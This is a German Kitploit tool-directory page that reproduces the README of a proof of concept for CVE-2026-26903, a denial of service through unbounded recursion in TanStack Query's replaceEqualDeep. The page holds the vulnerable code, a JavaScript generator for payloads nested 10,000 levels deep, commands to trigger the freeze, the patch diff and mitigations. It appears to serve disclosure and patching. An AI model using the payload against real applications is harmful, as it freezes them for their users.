Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-26903-PoC — Ein PoC zur Demonstration von CVE-2026-26903 | Kitploit
Tools/GitHubGitHub/john-jung/cve-2026-26903-poc
SchwachstellenanalyseExploitationWebsicherheitPapers & ForschungLernen & Bildung
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

Ein PoC zur Demonstration von CVE-2026-26903

Repository anzeigen
vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-26903 PoC

Denial-of-Service durch unbegrenzte Rekursion in der replaceEqualDeep-Funktion von TanStack Query

Ein einzelnes manipuliertes Abfrage-Update mit tief verschachtelten Objekten kann den JavaScript-Thread auf unbestimmte Zeit einfrieren und die Anwendung vollständig reaktionsunfähig machen. Es sind keine Authentifizierung oder besondere Berechtigungen erforderlich.

Betroffene Versionen

Diese Schwachstelle wurde in @tanstack/[email protected] über PR #10032 behoben, veröffentlicht am 14. Januar 2026.

Tool herunterladen
PaketBetroffenBehoben
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-queryhängt von verwundbarem query-core ab5.90.18+
@tanstack/vue-queryhängt von verwundbarem query-core ab5.90.18+
@tanstack/solid-queryhängt von verwundbarem query-core ab5.90.18+
@tanstack/svelte-queryhängt von verwundbarem query-core ab6.1.7+

Offizielle Beschreibung

CVE-2026-26903: Denial of Service durch unbegrenzte Rekursion in replaceEqualDeep (Schweregrad: Mittel)

Die Funktion replaceEqualDeep in TanStack Query führt einen rekursiven Vergleich verschachtelter Objekte ohne Tiefenbegrenzung durch. Bei der Verarbeitung tief verschachtelter Datenstrukturen kann dies eine unbegrenzte Rekursion auslösen, die zu einem Stack-Überlauf und zum Einfrieren der Anwendung führt.

— Vergeben durch MITRE

Zusammenfassung der Schwachstelle

Die replaceEqualDeep-Funktion von TanStack Query wird intern verwendet, um festzustellen, ob sich Abfragedaten tatsächlich geändert haben. Sie optimiert das erneute Rendern, indem sie Objektreferenzen wann immer möglich beibehält. Die Funktion durchläuft Objekteigenschaften rekursiv, um einen tiefen Gleichheitsvergleich durchzuführen.

Das Problem

Die rekursive Implementierung enthält weder Tiefenbegrenzungen noch eine Zykluserkennung:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Angriffsmechanismus

  1. Auslöser: Jede Abfrageaktualisierung, die mit tief verschachtelten Daten durch replaceEqualDeep läuft
  2. Payload: Objekte, die über 5.000 Ebenen tief verschachtelt sind
  3. Auswirkung: Sofortiges Einfrieren des JavaScript-Threads, vollständige Reaktionsunfähigkeit der Benutzeroberfläche
  4. Persistenz: Die Anwendung bleibt eingefroren, bis die Seite neu geladen wird

Angriffsfläche

  • Direkt: useQuery-Hooks mit verschachtelten Antwortdaten
  • Indirekt: setQueryData, invalidateQueries oder jede Operation im Abfrage-Cache
  • Clientseitig: Kein Server erforderlich – reiner clientseitiger DoS

Repository-Struktur

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # This file
├── LICENSE
├── poc.js                    # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html   # Browser PoC (interactive visual demo)

Reproduktionsschritte

1. Klonen und Einrichten

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Node.js-PoC ausführen (Absturz durch Stack-Überlauf)

root@kitploit:~
node poc.js

3. Erwartete Ausgabe

root@kitploit:~
Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Browser-PoC ausführen (interaktive visuelle Demo)

root@kitploit:~
open tanstack-query-poc.html
  1. Überprüfen Sie, dass die App reagiert:
    • Klicken Sie auf den Zähler-Button
    • Tippen Sie in das Eingabefeld
    • Beobachten Sie den Live-Timer beim Zählen
  2. Den DoS auslösen:
    • Klicken Sie auf "TRIGGER DoS (10000 depth) - App Will Freeze"
    • Ergebnis: Der Timer stoppt, die Buttons reagieren nicht mehr, die Seite friert ein

Detaillierte Tests

Option A: Eigenständige HTML-Demo (ohne Abhängigkeiten)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Option B: React-Anwendung (realistisches Szenario)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions

Erwartetes Verhalten

Vor dem Angriff:

  • Der Zähler-Button zählt hoch
  • Der Live-Timer aktualisiert sich jede Sekunde
  • Das Eingabefeld reagiert auf Tippeingaben
  • Alle UI-Interaktionen funktionieren normal

Nach dem Angriff:

  • Der Timer friert beim aktuellen Wert ein
  • Der Zähler-Button reagiert nicht mehr
  • Das Eingabefeld wird unansprechbar
  • Die Konsole zeigt keine Fehler an (der Thread ist blockiert, nicht abgestürzt)
  • Einzige Lösung: Browser-Tab bzw. -Fenster neu laden

So funktioniert der Exploit

Der PoC erzeugt tief verschachtelte Objekte und löst replaceEqualDeep aus, um sie zu verarbeiten:

1. Payload-Erzeugung

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Angriffsauslösung

root@kitploit:~
const oldData = generateDeep(10000);  // 10,000 levels deep
const newData = generateDeep(10000);  // Different object, same structure

// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);

3. Rekursionskette

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Level 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Level 2
        ├── replaceEqualDeep(...)                   // Level 3
            └── ... (continues for 10,000 levels)

Jeder rekursive Aufruf fügt einen neuen Stack-Frame hinzu, bis der Aufrufstapel der JavaScript-Engine erschöpft ist und der Thread einfriert.

Verwundbarer Code

Fundort: @tanstack/query-core/src/utils.ts (ungefähr)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: No depth limit or cycle detection
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

Patch

Der Fix (angewendet in TanStack-Query-Commit 269351b) fügt eine Tiefenbegrenzung hinzu, um unbegrenzte Rekursion zu verhindern:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... middle section unchanged ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

Wichtigste Änderungen:

  1. depth-Parameter hinzugefügt – mit Standardwert 0, um die Rekursionstiefe zu verfolgen
  2. Tiefenbegrenzungsprüfung hinzugefügt – gibt b sofort zurück, wenn depth > 500
  3. Tiefe in rekursiven Aufrufen erhöht – replaceEqualDeep(aItem, bItem, depth + 1)

Dieser einfache Fix verhindert einen Stack-Überlauf, erlaubt aber weiterhin eine angemessene Verschachtelung (500 Ebenen sind für reale Datenstrukturen mehr als ausreichend).

Gegenmaßnahmen

Temporäre Umgehungen

  1. Tief verschachtelte Daten glätten, bevor sie an TanStack Query übergeben werden
  2. Eigene Vergleichsfunktionen mit Tiefenbegrenzungen implementieren
  3. Die Komplexität der Abfragedaten in der Entwicklung überwachen

Korrekter Fix

Tiefenbegrenzung in replaceEqualDeep implementieren:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Prevent deep recursion
  if (a === b) return a;
  
  // ... existing logic ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... rest of function
}

Oder stattdessen eine iterative Traversierung anstelle von Rekursion verwenden.

Referenzen

  • GitHub Security Advisory

Haftungsausschluss

Dieser Proof-of-Concept wird ausschließlich für Lehr- und autorisierte Sicherheitstestzwecke bereitgestellt. Verwenden Sie es verantwortungsvoll und nur gegen Anwendungen, die Ihnen gehören oder für deren Tests Sie eine ausdrückliche Genehmigung haben. Die Autoren übernehmen keine Verantwortung für einen Missbrauch dieser Informationen.